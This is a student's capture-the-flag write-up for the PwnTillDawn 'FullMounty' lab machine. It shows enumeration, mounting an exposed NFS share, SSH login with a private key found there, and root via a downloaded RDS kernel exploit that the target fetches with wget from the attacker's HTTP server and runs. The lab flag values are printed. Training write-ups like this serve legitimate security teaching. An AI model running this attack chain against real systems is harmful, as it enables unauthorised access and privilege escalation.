

FullMounty – PwnTillDawn Write-Up

Nur Alisha Amira Binti Norhisham

52215125714

Target IP: 10.150.150.134

Difficulty: Easy

OS: Linux (Ubuntu)

Step 1 – Reconnaissance

```
(lishaamira@kali)-[~]
$ nmap -sV -sC 10.150.150.134
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-17 22:03 +08
Nmap scan report for 10.150.150.134
Host is up (0.20s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 5.3p1 Debian 3ubuntu7.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 f6:e9:3f:cf:88:ec:7c:35:63:91:34:aa:14:55:49:cc (DSA)
|_  2048 20:1d:e9:90:6f:4b:82:a3:71:1e:a9:99:95:7f:31:ea (RSA)
111/tcp   open  rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000   2             111/tcp    rpcbind
|   100000   2             111/udp    rpcbind
|   100003   2,3,4         2049/tcp   nfs
|   100003   2,3,4         2049/udp   nfs
|   100005   1,2,3         34154/tcp  mountd
|   100005   1,2,3         50354/udp  mountd
|   100021   1,3,4         45783/tcp  nlockmgr
|   100021   1,3,4         48262/udp  nlockmgr
|   100024   1             38840/udp  status
|_  100024   1             40110/tcp  status
2049/tcp   open  nfs          2-4 (RPC #100003)
8089/tcp   open  ssl/http     Splunkd http
|_ http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2019-10-28T09:51:59
|_ Not valid after: 2022-10-27T09:51:59
|_ http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
```

The first thing we always do is scan the target to see what ports and services are open. We use the tool Nmap for this.

```
<nmap -sV -sC 10.150.150.134>
```

The scan showed us 4 open ports:

Port 22 is SSH, Port 111 is RPC, Port 2049 is NFS and Port 8089 is Splunk running on HTTPS.

#notes

Port 22 – SSH, the standard remote login service.

Port 111 – RPC (Remote Procedure Call), commonly associated with NFS.

Port 2049 – NFS (Network File System), a file sharing service. When left open and misconfigured, it can expose the entire contents of the server directories to anyone on the network.

Port 8089 – Splunk running over HTTPS, a log management tool.

To see what the server was sharing, I used `<showmount>`

```
(lishaamira@kali)-[~]  
$ showmount -e 10.150.150.134  
Export list for 10.150.150.134:  
/srv/exportnfs 10.0.0.0/8
```

This showed /srv/exportnfs as an available share.

I created a local directory to mount the share into, then mounted it.

```
(lishaamira@kali)-[~]  
$ mkdir /tmp/nfs-shares  
  
(lishaamira@kali)-[~]  
$ sudo mount -t nfs -o rw,vers=3 10.150.150.134:/srv/exportnfs /tmp/nfs-shares  
[sudo] password for lishaamira:  
Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' → '/usr/lib/systemd/system/rpc-statd.service'.
```

Once I mounted it, I listed the contents:

```
(lishaamira@kali)-[~]  
$ ls -la /tmp/nfs-shares/  
total 32  
drwxr-xr-x  5 nobody    nogroup   4096 Oct 29  2019 .  
drwxrwxrwt 16 root      root      380 Apr 17 22:07 ..  
-rw----- 1 nobody    nogroup   667 Oct 29  2019 .bash_history  
drwxr-xr-x  5 nobody    nogroup   4096 Oct 29  2019 .config  
-rw-r--r--  1 lishaamira lishaamira  41 Oct 22  2019 FLAG49  
-rw-r--r--  1 lishaamira lishaamira 1675 Oct  3  2019 id_rsa  
-rw-r--r--  1 lishaamira lishaamira  397 Oct  3  2019 id_rsa.pub  
drwxr-xr-x  3 nobody    nogroup   4096 Oct 29  2019 .local  
drwxr-xr-x  3 nobody    nogroup   4096 Oct 29  2019 .mozilla
```

What I found here was:

FLAG49 – the first flag, which readable by anyone

id_rsa – a private SSH key

id_rsa.pub – the corresponding public key

I opened the FLAG49 and got:

```
(lishaamira@kali)-[~]  
$ cat /tmp/nfs-shares/FLAG49  
41b779ac4c999468ba7f862cde86412096d1c37b
```

The first flag I found!

Then I checked the public key to find the associated username

```
(lishaamira@kali)-[~]  
$ cat /tmp/nfs-shares/id_rsa.pub  
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAucbPtWj/Ot2rkrMxBSo63gnu8cUE2NboLy226zUjXwdeSLsh9WPfON/atMJCg/uMc  
vLpo598E/qUsAJq3TTJTYbdMkVSH3ArxUI0gN9rNve00s+MBFqfXYhfyLCFv+wtKyYDMe0xTE63hhEdbKVcGLCW8qhp6y0RE7CcDn  
XqcCP5mJHlKdUqC9VBiyZcOzcKqSh6eCpfraKGSXq0cVvHVMgK8TB/JEHxkIZY2nxEl1WC62LKctEx0ZV7KTgJHhpWy1wyiPir4FO  
SPWUvUZDgv15B3D/M6UCRIGuFl1FerAacFVPW7SmKdtV3p4+HY3H1cLAsWoLJiV1DRiBxoqZgEQ= deadbeef@ubuntu
```

As we see here, I found the deadbeef@ubuntu. The username I was searching for.

With a username and a private key, I attempted to SSH into the machine:

```
(lishaamira@kali)-[~]  
$ ssh -i /tmp/nfs-shares/id_rsa deadbeef@10.150.150.134  
Unable to negotiate with 10.150.150.134 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
```

But, it showed an error.

The reason is that the target uses legacy SSH algorithms which is ssh-rsa and ssh-dss that newer versions of OpenSSH disable by default because they already considered as weak.

Then I connect with the legacy algorithm flags added.

```
(lishaamira@kali)-[~]  
$ sudo ssh deadbeef@10.150.150.134 -i /tmp/nfs-shares/id_rsa -oHostKeyAlgorithms+=ssh-rsa -oPubKeyAcceptedAlgorithms+=ssh-rsa  
The authenticity of host '10.150.150.134 (10.150.150.134)' can't be established.  
RSA key fingerprint is SHA256:VH7pIBICwIUJurQJD3PEJHvSP3urGtp9qtX1RErneyHY.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '10.150.150.134' (RSA) to the list of known hosts.  
Linux FullMounty 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux  
Ubuntu 10.04.4 LTS  
  
Welcome to Ubuntu!  
 * Documentation:  https://help.ubuntu.com/  
New release 'precise' available.  
Run 'do-release-upgrade' to upgrade to it.
```

```
Last login: Wed Aug 12 00:50:59 2020
deadbeef@FullMounty:~$ ls
FLAG50  FLAG51
deadbeef@FullMounty:~$ cat FLAG50
8f776e191c1253159ed20aa683b5d5969a804b83
```

I was in and I found two flags inside the home directory.

I got the FLAG50.

However, when I was trying to open the FLAG51, my permission was denied.

To escalate my privileges is to check the kernel version. Old kernels are known with vulnerabilities.

```
<uname -a>
```

The output kernel was version 2.6.32-21-generic.

Since the target machine had no internet access, I couldn't download the exploit directly onto it. So, I switched back to my Kali machine.

```
(lishaamira@kali)-[~]
$ wget https://github.com/lucy0a/kernel-exploits/raw/master/rds/rds
--2026-04-17 22:21:19-- https://github.com/lucy0a/kernel-exploits/raw/master/rds/rds
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443 ... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/lucy0a/kernel-exploits/master/rds/rds [following]
--2026-04-17 22:21:20-- https://raw.githubusercontent.com/lucy0a/kernel-exploits/master/rds/rds
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133,
185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443 ... connected
.
HTTP request sent, awaiting response... 200 OK
Length: 582477 (569K) [application/octet-stream]
Saving to: 'rds'

rds                               100%[=====>] 568.83K  2.43MB/s   in 0.2s

2026-04-17 22:21:21 (2.43 MB/s) - 'rds' saved [582477/582477]
```

I downloaded the pre-compiled exploit binary.

And then, I started a simple HTTP server to host the file.

```
(lishaamira@kali)-[~]
$ python3 -m http.server 6666
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
```

I need to get my Kali VPN IP first, which I ran:

```
<ip a show tun0>
```

```
lishaamira@kali: ~  
Session Actions Edit View Help  
(lishaamira@kali)-[~]  
$ ip a show tun0  
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500  
    link/none  
    inet 10.66.66.114 peer 10.66.66.113/32 scope global tun0  
        valid_lft forever preferred_lft forever  
    inet6 fe80::2ff6:4785:16ac:e574/64 scope link stable-privacy proto kernel_ll  
        valid_lft forever preferred_lft forever
```

I found that my IP was <10.66.66.114>

On the target machine, I pulled the file from my Kali.

```
deadbeef@FullMounty:~$ wget http://10.66.66.114:6666/rds  
--2026-04-17 07:40:54-- http://10.66.66.114:6666/rds  
Connecting to 10.66.66.114:6666 ... connected.  
HTTP request sent, awaiting response ... 200 OK  
Length: 582477 (569K) [application/octet-stream]  
Saving to: `rds'  
  
100%[=====>] 582,477 408K/s in 1.4s  
  
2026-04-17 07:40:55 (408 KB/s) - `rds' saved [582477/582477]
```

Now to get the flag, I ran:

```
deadbeef@FullMounty:~$ ./rds  
[*] Linux kernel ≥ 2.6.30 RDS socket exploit  
[*] by Dan Rosenberg  
[*] Resolving kernel addresses ...  
    [+] Resolved security_ops to 0xc08c8c2c  
    [+] Resolved default_security_ops to 0xc0773300  
    [+] Resolved cap_ptrace_traceme to 0xc02f3dc0  
    [+] Resolved commit_creds to 0xc016dcc0  
    [+] Resolved prepare_kernel_cred to 0xc016e000  
[*] Overwriting security ops...  
[*] Overwriting function pointer...  
[*] Triggering payload...  
[*] Restoring function pointer...  
[*] Got root!  
# cat FLAG51  
f4ba5b1880b551f847276ed71e692e4f1727eb0e  
#
```

Now, I got my last flag! FLAG51!

Flag	Where it Was	How I Got It
FLAG49	NFS share	Directly readable after mounting the share
FLAG50	/home/deadbeef/	SSH login using the stolen private key
FLAG51	/home/deadbeef/	Read after gaining root via kernel exploit